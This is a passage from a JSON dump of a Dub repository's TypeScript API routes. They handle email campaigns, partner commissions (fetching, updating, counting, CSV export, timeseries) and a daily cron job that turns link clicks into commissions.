\"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/campaigns/[campaignId]/summary/route.ts",
    "content": "import { getCampaignOrThrow } from \"@/lib/api/campaigns/get-campaign-or-throw\";\nimport { getCampaignSummary } from \"@/lib/api/campaigns/get-campaign-summary\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/campaigns/[campaignId]/summary\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { campaignId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await getCampaignOrThrow({\n      programId,\n      campaignId,\n    });\n\n    const metrics = await getCampaignSummary(campaignId);\n\n    return NextResponse.json(metrics);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/campaigns/count/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getCampaignsCountQuerySchema } from \"@/lib/zod/schemas/campaigns\";\nimport { prisma } from \"@dub/prisma\";\nimport { CampaignStatus, CampaignType, Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/campaigns/count - get the count of campaigns for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { type, status, groupBy, search } =\n      getCampaignsCountQuerySchema.parse(searchParams);\n\n    const commonWhere: Prisma.CampaignWhereInput = {\n      programId,\n      type,\n      status,\n      ...(search && {\n        OR: [{ name: { contains: search } }, { subject: { contains: search } }],\n      }),\n    };\n\n    // Group by the type of campaign\n    if (groupBy === \"type\") {\n      const campaigns = await prisma.campaign.groupBy({\n        by: [\"type\"],\n        where: {\n          ...commonWhere,\n        },\n        _count: true,\n        orderBy: {\n          _count: {\n            type: \"desc\",\n          },\n        },\n      });\n\n      Object.values(CampaignType).forEach((type) => {\n        if (!campaigns.some((c) => c.type === type)) {\n          campaigns.push({ _count: 0, type });\n        }\n      });\n\n      return NextResponse.json(campaigns);\n    }\n\n    // Group by the status of campaign\n    if (groupBy === \"status\") {\n      const campaigns = await prisma.campaign.groupBy({\n        by: [\"status\"],\n        where: {\n          ...commonWhere,\n        },\n        _count: true,\n        orderBy: {\n          _count: {\n            status: \"desc\",\n          },\n        },\n      });\n\n      Object.values(CampaignStatus).forEach((status) => {\n        if (!campaigns.some((c) => c.status === status)) {\n          campaigns.push({ _count: 0, status });\n        }\n      });\n\n      return NextResponse.json(campaigns);\n    }\n\n    // Get the absolute count of campaigns\n    const count = await prisma.campaign.count({\n      where: {\n        ...commonWhere,\n      },\n    });\n\n    return NextResponse.json(count);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/campaigns/route.ts",
    "content": "import { DEFAULT_CAMPAIGN_BODY } from \"@/lib/api/campaigns/constants\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { WorkflowAction, WorkflowCondition } from \"@/lib/types\";\nimport {\n  CampaignSchema,\n  createCampaignSchema,\n  getCampaignsQuerySchema,\n} from \"@/lib/zod/schemas/campaigns\";\nimport {\n  WORKFLOW_ACTION_TYPES,\n  WORKFLOW_ATTRIBUTE_TRIGGER,\n} from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { CampaignStatus } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/campaigns - get all email campaigns for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const {\n      type,\n      status,\n      search,\n      triggerCondition,\n      page = 1,\n      pageSize,\n    } = getCampaignsQuerySchema.parse(searchParams);\n\n    const campaigns = await prisma.campaign.findMany({\n      where: {\n        programId,\n        type,\n        status,\n        ...(search && {\n          OR: [\n            { name: { contains: search } },\n            { subject: { contains: search } },\n          ],\n        }),\n        ...(triggerCondition && {\n          workflow: {\n            triggerConditions: {\n              equals: [triggerCondition],\n            },\n          },\n        }),\n      },\n      include: {\n        groups: true,\n        workflow: true,\n      },\n      orderBy: {\n        createdAt: \"desc\",\n      },\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n    });\n\n    return NextResponse.json(\n      campaigns.map((campaign) =>\n        CampaignSchema.parse({\n          ...campaign,\n          groups: campaign.groups.map(({ groupId }) => ({ id: groupId })),\n          triggerCondition: campaign.workflow?.triggerConditions?.[0],\n        }),\n      ),\n    );\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n\n// POST /api/campaigns - create a draft email campaign\nexport const POST = withWorkspace(\n  async ({ workspace, session, req }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { type } = createCampaignSchema.parse(await parseRequestBody(req));\n\n    const campaign = await prisma.$transaction(async (tx) => {\n      const campaignId = createId({ prefix: \"cmp_\" });\n      const workflowId = createId({ prefix: \"wf_\" });\n\n      const campaign = await tx.campaign.create({\n        data: {\n          id: campaignId,\n          programId,\n          userId: session.user.id,\n          status: CampaignStatus.draft,\n          name: \"Untitled\",\n          subject: \"\",\n          bodyJson: DEFAULT_CAMPAIGN_BODY,\n          type,\n          ...(type === \"transactional\" && { workflowId }),\n        },\n      });\n\n      if (type === \"transactional\") {\n        const trigger = WORKFLOW_ATTRIBUTE_TRIGGER[\"partnerJoined\"];\n\n        const triggerCondition: WorkflowCondition = {\n          attribute: \"partnerJoined\",\n          operator: \"gte\",\n          value: 0,\n        };\n\n        const action: WorkflowAction = {\n          type: WORKFLOW_ACTION_TYPES.SendCampaign,\n          data: {\n            campaignId,\n          },\n        };\n\n        await tx.workflow.create({\n          data: {\n            id: workflowId,\n            programId,\n            trigger,\n            triggerConditions: [triggerCondition],\n            actions: [action],\n            disabledAt: new Date(), // TODO: Replace this with publishedAt\n          },\n        });\n      }\n\n      return campaign;\n    });\n\n    return NextResponse.json(\n      {\n        id: campaign.id,\n      },\n      { status: 201 },\n    );\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/commissions/[commissionId]/route.ts",
    "content": "import { convertCurrency } from \"@/lib/analytics/convert-currency\";\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { transformCustomerForCommission } from \"@/lib/api/customers/transform-customer\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { syncTotalCommissions } from \"@/lib/api/partners/sync-total-commissions\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { calculateSaleEarnings } from \"@/lib/api/sales/calculate-sale-earnings\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { determinePartnerReward } from \"@/lib/partners/determine-partner-reward\";\nimport {\n  CommissionDetailSchema,\n  CommissionEnrichedSchema,\n  updateCommissionSchema,\n} from \"@/lib/zod/schemas/commissions\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/commissions/:commissionId - get a single commission by ID\nexport const GET = withWorkspace(async ({ workspace, params }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const { commissionId } = params;\n\n  const commission = await prisma.commission.findUnique({\n    where: {\n      id: commissionId,\n      programId,\n    },\n    include: {\n      partner: true,\n      programEnrollment: {\n        select: {\n          partnerGroup: {\n            select: {\n              id: true,\n              holdingPeriodDays: true,\n            },\n          },\n        },\n      },\n      customer: true,\n      reward: {\n        select: {\n          description: true,\n          type: true,\n          event: true,\n          amountInCents: true,\n          amountInPercentage: true,\n        },\n      },\n      user: true,\n      payout: {\n        select: {\n          id: true,\n          paidAt: true,\n          initiatedAt: true,\n          user: true,\n        },\n      },\n    },\n  });\n\n  if (!commission) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Commission ${commissionId} not found.`,\n    });\n  }\n\n  const { partner, programEnrollment, customer, reward, ...rest } = commission;\n\n  return NextResponse.json(\n    CommissionDetailSchema.parse({\n      ...rest,\n      partner: {\n        ...partner,\n        groupId: programEnrollment.partnerGroup?.id ?? null,\n      },\n      customer: transformCustomerForCommission(customer),\n      reward: reward\n        ? {\n            ...reward,\n            amountInPercentage: reward.amountInPercentage\n              ? Number(reward.amountInPercentage)\n              : null,\n          }\n        : null,\n      holdingPeriodDays:\n        rest.type === \"custom\"\n          ? 0\n          : programEnrollment.partnerGroup?.holdingPeriodDays ?? 0,\n    }),\n  );\n});\n\n// PATCH /api/commissions/:commissionId - update a commission\nexport const PATCH = withWorkspace(\n  async ({ workspace, params, req, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { commissionId } = params;\n\n    const commission = await prisma.commission.findUnique({\n      where: {\n        id: commissionId,\n        programId,\n      },\n      include: {\n        partner: true,\n      },\n    });\n\n    if (!commission) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Commission ${commissionId} not found.`,\n      });\n    }\n\n    if (commission.status === \"paid\") {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Cannot update amount: Commission ${commissionId} has already been paid.`,\n      });\n    }\n\n    const { partner, amount: originalAmount } = commission;\n\n    let { amount, modifyAmount, currency, status } =\n      updateCommissionSchema.parse(await parseRequestBody(req));\n\n    let finalAmount: number | undefined;\n    let finalEarnings: number | undefined;\n\n    if (amount || modifyAmount) {\n      if (commission.type !== \"sale\") {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: `Cannot update amount: Commission ${commissionId} is not a sale commission.`,\n        });\n      }\n\n      // if currency is not USD, convert it to USD  based on the current FX rate\n      // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n      if (currency !== \"usd\") {\n        const valueToConvert = modifyAmount || amount;\n        if (valueToConvert) {\n          const { currency: convertedCurrency, amount: convertedAmount } =\n            await convertCurrency({ currency, amount: valueToConvert });\n\n          if (modifyAmount) {\n            modifyAmount = convertedAmount;\n          } else {\n            amount = convertedAmount;\n          }\n          currency = convertedCurrency;\n        }\n      }\n\n      finalAmount = Math.max(\n        modifyAmount ? originalAmount + modifyAmount : amount ?? originalAmount,\n        0, // Ensure the amount is not negative\n      );\n\n      const programEnrollment = await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId,\n        include: {\n          partner: true,\n          links: true,\n          saleReward: true,\n        },\n      });\n\n      const reward = determinePartnerReward({\n        event: \"sale\",\n        programEnrollment,\n      });\n\n      if (!reward) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: `No reward found for partner ${partner.id} in program ${programId}.`,\n        });\n      }\n\n      // Recalculate the earnings based on the new amount\n      finalEarnings = calculateSaleEarnings({\n        reward,\n        sale: {\n          amount: finalAmount,\n          quantity: commission.quantity,\n        },\n      });\n    }\n\n    const isRefunded = finalAmount === 0 || finalEarnings === 0;\n\n    const updatedCommission = await prisma.commission.update({\n      where: {\n        id: commission.id,\n      },\n      data: {\n        // if the sale/commission is fully refunded, we don't need to update the amount or earnings\n        // we just update status to refunded and exclude it from the payout\n        // same goes for updating status to refunded, duplicate, canceled, or fraudulent\n        amount: isRefunded ? undefined : finalAmount,\n        earnings: isRefunded ? undefined : finalEarnings,\n        status: status ?? (isRefunded ? \"refunded\" : undefined),\n        ...(status || isRefunded ? { payoutId: null } : {}),\n      },\n      include: {\n        customer: true,\n        partner: true,\n      },\n    });\n\n    // If the commission has already been added to a payout, we need to update the payout amount\n    if (commission.status === \"processed\" && commission.payoutId) {\n      waitUntil(\n        prisma.$transaction(async (tx) => {\n          const commissionAggregate = await tx.commission.aggregate({\n            where: {\n              payoutId: commission.payoutId,\n            },\n            _sum: {\n              earnings: true,\n            },\n          });\n\n          const newPayoutAmount = commissionAggregate._sum.earnings ?? 0;\n\n          if (newPayoutAmount === 0) {\n            console.log(`Deleting payout ${commission.payoutId}`);\n            await tx.payout.delete({ where: { id: commission.payoutId! } });\n          } else {\n            console.log(\n              `Updating payout ${commission.payoutId} to ${newPayoutAmount}`,\n            );\n            await tx.payout.update({\n              where: { id: commission.payoutId! },\n              data: { amount: newPayoutAmount },\n            });\n          }\n        }),\n      );\n    }\n\n    waitUntil(\n      Promise.allSettled([\n        syncTotalCommissions({\n          partnerId: commission.partnerId,\n          programId: commission.programId,\n        }),\n\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"commission.updated\",\n          description: `Commission ${commissionId} updated`,\n          actor: session.user,\n          targets: [\n            {\n              type: \"commission\",\n              id: commission.id,\n              metadata: updatedCommission,\n            },\n          ],\n        }),\n      ]),\n    );\n\n    return NextResponse.json(\n      CommissionEnrichedSchema.parse({\n        ...updatedCommission,\n        customer: transformCustomerForCommission(updatedCommission.customer),\n      }),\n    );\n  },\n  {\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/commissions/count/route.ts",
    "content": "import { getCommissionsCount } from \"@/lib/api/commissions/get-commissions-count\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getCommissionsCountQuerySchema } from \"@/lib/zod/schemas/commissions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/commissions/count\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const isHoldStatus = searchParams.status === \"hold\";\n  const { status: _status, ...restSearchParams } = searchParams;\n\n  const parsedParams = getCommissionsCountQuerySchema.parse(\n    isHoldStatus ? restSearchParams : searchParams,\n  );\n\n  const counts = await getCommissionsCount({\n    ...parsedParams,\n    programId,\n    isHoldStatus,\n  });\n\n  return NextResponse.json(counts);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/commissions/export/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils\";\nimport { formatCommissionsForExport } from \"@/lib/api/commissions/format-commissions-for-export\";\nimport { getCommissions } from \"@/lib/api/commissions/get-commissions\";\nimport { getCommissionsCount } from \"@/lib/api/commissions/get-commissions-count\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { commissionsExportQuerySchema } from \"@/lib/zod/schemas/commissions\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nconst MAX_COMMISSIONS_TO_EXPORT = 1000;\n\n// GET /api/commissions/export – export commissions to CSV (with async support if >1000 commissions)\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const parsedParams = commissionsExportQuerySchema.parse(searchParams);\n    let { columns, ...filters } = parsedParams;\n\n    // Get the count of commissions to decide if we should process async\n    const counts = await getCommissionsCount({\n      ...filters,\n      programId,\n    });\n\n    // Process the export in the background if the number of commissions is greater than MAX_COMMISSIONS_TO_EXPORT\n    if (counts.all.count > MAX_COMMISSIONS_TO_EXPORT) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/export/commissions`,\n        body: {\n          ...parsedParams,\n          columns: columns.join(\",\"),\n          programId,\n          userId: session.user.id,\n        },\n      });\n\n      return NextResponse.json({}, { status: 202 });\n    }\n\n    // Find commissions that match the filters\n    const commissions = await getCommissions({\n      ...filters,\n      programId,\n      page: 1,\n      pageSize: MAX_COMMISSIONS_TO_EXPORT,\n    });\n\n    const formattedCommissions = formatCommissionsForExport(\n      commissions,\n      columns,\n    );\n\n    return new Response(convertToCSV(formattedCommissions), {\n      headers: {\n        \"Content-Type\": \"text/csv\",\n        \"Content-Disposition\": \"attachment\",\n      },\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/commissions/route.ts",
    "content": "import { getCommissions } from \"@/lib/api/commissions/get-commissions\";\nimport { transformCustomerForCommission } from \"@/lib/api/customers/transform-customer\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  CommissionEnrichedSchema,\n  getCommissionsQuerySchema,\n} from \"@/lib/zod/schemas/commissions\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/commissions - get all commissions for a program\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const isHoldStatus = searchParams.status === \"hold\";\n  const { status: _status, ...restSearchParams } = searchParams;\n\n  let { partnerId, tenantId, ...filters } = getCommissionsQuerySchema.parse(\n    isHoldStatus ? restSearchParams : searchParams,\n  );\n\n  if (tenantId && !partnerId) {\n    const partner = await prisma.programEnrollment.findUnique({\n      where: {\n        tenantId_programId: {\n          tenantId,\n          programId,\n        },\n      },\n      select: {\n        partnerId: true,\n      },\n    });\n\n    if (!partner) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Partner with specified tenantId ${tenantId} not found.`,\n      });\n    }\n\n    partnerId = partner.partnerId;\n  }\n\n  const commissions = await getCommissions({\n    ...filters,\n    partnerId,\n    programId,\n    isHoldStatus,\n  });\n\n  return NextResponse.json(\n    z.array(CommissionEnrichedSchema).parse(\n      commissions.map((c) => ({\n        ...c,\n        customer: transformCustomerForCommission(c.customer),\n        partner: {\n          ...c.partner,\n          groupId: c.programEnrollment.groupId,\n        },\n      })),\n    ),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/commissions/timeseries/route.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { sqlGranularityMap } from \"@/lib/planetscale/granularity\";\nimport { analyticsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { prisma } from \"@dub/prisma\";\nimport { format } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\n\nconst querySchema = analyticsQuerySchema.pick({\n  start: true,\n  end: true,\n  interval: true,\n  timezone: true,\n});\n\ninterface Commission {\n  start: string;\n  earnings: number;\n}\n\n// GET /api/commissions/timeseries - get commissions timeseries for a program\nexport const GET = withWorkspace(async ({ workspace, searchParams }) => {\n  const programId = getDefaultProgramIdOrThrow(workspace);\n\n  const { start, end, interval, timezone } = querySchema.parse(searchParams);\n\n  const { startDate, endDate, granularity } = getStartEndDates({\n    interval,\n    start,\n    end,\n    dataAvailableFrom:\n      // ideally we should get the first commission event date for dataAvailableFrom\n      interval === \"all\"\n        ? await getProgramOrThrow({\n            workspaceId: workspace.id,\n            programId,\n          }).then((program) => program.startedAt ?? program.createdAt)\n        : undefined,\n    timezone,\n  });\n\n  const { dateFormat, dateIncrement, startFunction, formatString } =\n    sqlGranularityMap[granularity];\n\n  console.time(\"getCommissionsTimeseries\");\n  const commissions = await prisma.$queryRaw<Commission[]>`\n      SELECT \n        DATE_FORMAT(CONVERT_TZ(createdAt, \"UTC\", ${timezone || \"UTC\"}), ${dateFormat}) AS start, \n        SUM(earnings) AS earnings\n      FROM Commission\n      WHERE \n        programId = ${programId}\n        AND createdAt >= ${startDate}\n        AND createdAt < ${endDate}\n        AND status IN (\"pending\", \"processed\", \"paid\")\n      GROUP BY start\n      ORDER BY start ASC;`;\n  console.timeEnd(\"getCommissionsTimeseries\");\n\n  let currentDate = startFunction(startDate);\n\n  const earningsLookup = Object.fromEntries(\n    commissions.map((item) => [\n      item.start,\n      {\n        earnings: Number(item.earnings),\n      },\n    ]),\n  );\n\n  const timeseries: Commission[] = [];\n\n  while (currentDate < endDate) {\n    const periodKey = format(currentDate, formatString);\n\n    timeseries.push({\n      start: currentDate.toISOString(),\n      ...(earningsLookup[periodKey] || {\n        earnings: 0,\n      }),\n    });\n\n    currentDate = dateIncrement(currentDate);\n  }\n\n  return NextResponse.json(timeseries);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/aggregate-clicks/resolve-click-reward-amount.ts",
    "content": "import { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { evaluateRewardConditions } from \"@/lib/partners/evaluate-reward-conditions\";\nimport { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport { rewardConditionsArraySchema } from \"@/lib/zod/schemas/rewards\";\nimport { Reward } from \"@dub/prisma/client\";\n\n// Resolve the click reward amount for a given reward and country\nexport function resolveClickRewardAmount({\n  reward,\n  country,\n}: {\n  reward: Reward;\n  country: string;\n}): number {\n  let partnerReward = reward;\n\n  if (reward.modifiers) {\n    const modifiers = rewardConditionsArraySchema.safeParse(reward.modifiers);\n\n    if (modifiers.success) {\n      const matchedCondition = evaluateRewardConditions({\n        conditions: modifiers.data,\n        context: {\n          customer: {\n            country,\n            source: \"tracked\",\n          },\n        },\n      });\n\n      if (matchedCondition) {\n        partnerReward = {\n          ...partnerReward,\n          amountInCents:\n            matchedCondition.amountInCents != null\n              ? matchedCondition.amountInCents\n              : null,\n        };\n      }\n    }\n  }\n\n  return getRewardAmount(serializeReward(partnerReward));\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/aggregate-clicks/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { syncTotalCommissions } from \"@/lib/api/partners/sync-total-commissions\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { getTopLinksByCountries } from \"@/lib/tinybird/get-top-links-by-countries\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionType, Prisma } from \"@dub/prisma/client\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  currencyFormatter,\n  getPrettyUrl,\n  nFormatter,\n} from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../utils\";\nimport { resolveClickRewardAmount } from \"./resolve-click-reward-amount\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst BATCH_SIZE = 200;\n\nconst schema = z.object({\n  startingAfter: z.string().optional(),\n  batchNumber: z.number().optional().default(1),\n});\n\n// This route is used aggregate clicks events on daily basis for Program links and add to the Commission table\n// Runs every day at 00:00 (0 0 * * *)\n// GET /api/cron/aggregate-clicks\nasync function handler(req: Request) {\n  try {\n    let { startingAfter, batchNumber } = schema.parse({\n      startingAfter: undefined,\n      batchNumber: 1,\n    });\n\n    if (req.method === \"GET\") {\n      await verifyVercelSignature(req);\n    } else if (req.method === \"POST\") {\n      const rawBody = await req.text();\n      await verifyQstashSignature({\n        req,\n        rawBody,\n      });\n\n      ({ startingAfter, batchNumber } = schema.parse(JSON.parse(rawBody)));\n    }\n\n    const now = new Date();\n\n    // set 'start' to the beginning of the previous day (00:00:00)\n    const start = new Date(now);\n    start.setDate(start.getDate() - 1);\n    start.setHours(0, 0, 0, 0);\n\n    // set 'end' to the end of the previous day (23:59:59)\n    const end = new Date(now);\n    end.setDate(end.getDate() - 1);\n    end.setHours(23, 59, 59, 999);\n\n    const linksWithClickRewards = await prisma.link.findMany({\n      where: {\n        programEnrollment: {\n          clickRewardId: {\n            not: null,\n          },\n        },\n        clicks: {\n          gt: 0,\n        },\n        lastClicked: {\n          gte: start, // links that were clicked on after the start date\n        },\n      },\n      select: {\n        id: true,\n        shortLink: true,\n        programId: true,\n        partnerId: true,\n        programEnrollment: {\n          select: {\n            clickReward: true,\n          },\n        },\n      },\n      take: BATCH_SIZE,\n      skip: startingAfter ? 1 : 0,\n      ...(startingAfter && {\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n\n    const endMessage = `Finished aggregating clicks for ${batchNumber} batches (total ${nFormatter(batchNumber * (BATCH_SIZE - 1) + linksWithClickRewards.length, { full: true })} links)`;\n\n    if (linksWithClickRewards.length === 0) {\n      return logAndRespond(endMessage);\n    }\n\n    const clicksByCountries = await getTopLinksByCountries({\n      linkIds: linksWithClickRewards.map(({ id }) => id),\n      start,\n      end,\n    });\n\n    // This should never happen, but just in case\n    if (clicksByCountries.length === 0) {\n      return logAndRespond(endMessage);\n    }\n\n    // Group clicks by link_id for easier iteration\n    const clicksByLinkId = new Map<string, typeof clicksByCountries>();\n    for (const click of clicksByCountries) {\n      const existing = clicksByLinkId.get(click.link_id) || [];\n      existing.push(click);\n      clicksByLinkId.set(click.link_id, existing);\n    }\n\n    const linkEarningsMap = new Map<\n      string,\n      { linkClicks: number; earnings: number }\n    >();\n\n    // Calculate earnings per link considering geo CPC\n    for (const {\n      id: linkId,\n      shortLink,\n      programEnrollment,\n    } of linksWithClickRewards) {\n      if (!programEnrollment?.clickReward) {\n        console.log(`No click reward for link ${linkId}.`);\n        continue;\n      }\n\n      const linkClicksByCountry = clicksByLinkId.get(linkId) || [];\n\n      // Calculate earnings per country for each link\n      for (const { country, clicks } of linkClicksByCountry) {\n        const rewardAmount = resolveClickRewardAmount({\n          reward: programEnrollment.clickReward,\n          country,\n        });\n\n        const existing = linkEarningsMap.get(linkId) || {\n          linkClicks: 0,\n          earnings: 0,\n        };\n\n        linkEarningsMap.set(linkId, {\n          linkClicks: existing.linkClicks + clicks,\n          earnings: existing.earnings + rewardAmount * clicks,\n        });\n\n        // only console.log if there are modifiers\n        if (programEnrollment.clickReward.modifiers) {\n          console.log(\n            `Earnings for link ${getPrettyUrl(shortLink)} for ${country}: ${currencyFormatter(rewardAmount)} * ${clicks} = ${currencyFormatter(\n              rewardAmount * clicks,\n            )}`,\n          );\n        }\n      }\n    }\n\n    // Create commissions for each link\n    const commissionsToCreate = linksWithClickRewards\n      .map(({ id, programId, partnerId, programEnrollment }) => {\n        if (!programId || !partnerId || !programEnrollment?.clickReward) {\n          return null;\n        }\n\n        const { linkClicks, earnings } = linkEarningsMap.get(id) || {\n          linkClicks: 0,\n          earnings: 0,\n        };\n\n        if (linkClicks === 0 || earnings === 0) {\n          return null;\n        }\n\n        return {\n          id: createId({ prefix: \"cm_\" }),\n          programId,\n          partnerId,\n          linkId: id,\n          quantity: linkClicks,\n          type: CommissionType.click,\n          amount: 0,\n          earnings,\n        };\n      })\n      .filter(\n        (c): c is NonNullable<typeof c> => c !== null,\n      ) satisfies Prisma.CommissionCreateManyInput[];\n\n    console.table(commissionsToCreate);\n\n    // Create commissions\n    await prisma.commission.createMany({\n      data: commissionsToCreate,\n    });\n\n    // Sync total commissions for each partner that we created commissions for\n    for (const { partnerId, programId } of commissionsToCreate) {\n      await syncTotalCommissions({\n        partnerId,\n        programId,\n      });\n    }\n\n    console.log(\n      `Synced total commissions count for ${commissionsToCreate.length} partners`,\n    );\n\n    // Schedule next batch if we have more links to process\n    if (linksWithClickRewards.length === BATCH_SIZE) {\n      const nextStartingAfter =\n        linksWithClickRewards[linksWithClickRewards.length - 1].id;\n\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/aggregate-clicks`,\n        method: \"POST\",\n        body: {\n          startingAfter: nextStartingAfter,\n          batchNumber: batchNumber + 1,\n        },\n      });\n\n      return logAndRespond(\n        `Enqueued next batch (batch #${batchNumber + 1} for aggregate clicks cron (startingAfter: ${nextStartingAfter}).`,\n      );\n    }\n\n    return logAndRespond(endMessage);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\nexport { handler as GET, handler as POST };\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/bounties/create-draft-submissions/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { evaluateWorkflowConditions } from \"@/lib/api/workflows/evaluate-workflow-conditions\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { aggregatePartnerLinksStats } from \"@/lib/partners/aggregate-partner-links-stats\";\nimport { workflowConditionSchema } from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK, log, toCentsNumber } from \"@dub/utils\";\nimport { differenceInMinutes } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  bountyId: z.string(),\n  partnerIds: z.array(z.string()).optional(),\n  page: z.number().optional().default(0),\n});\n\nconst MAX_PAGE_SIZE = 100;\n\n// POST /api/cron/bounties/create-draft-submissions\n// Create draft bounty submissions for performance bounties with lifetime performance scope\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { bountyId, 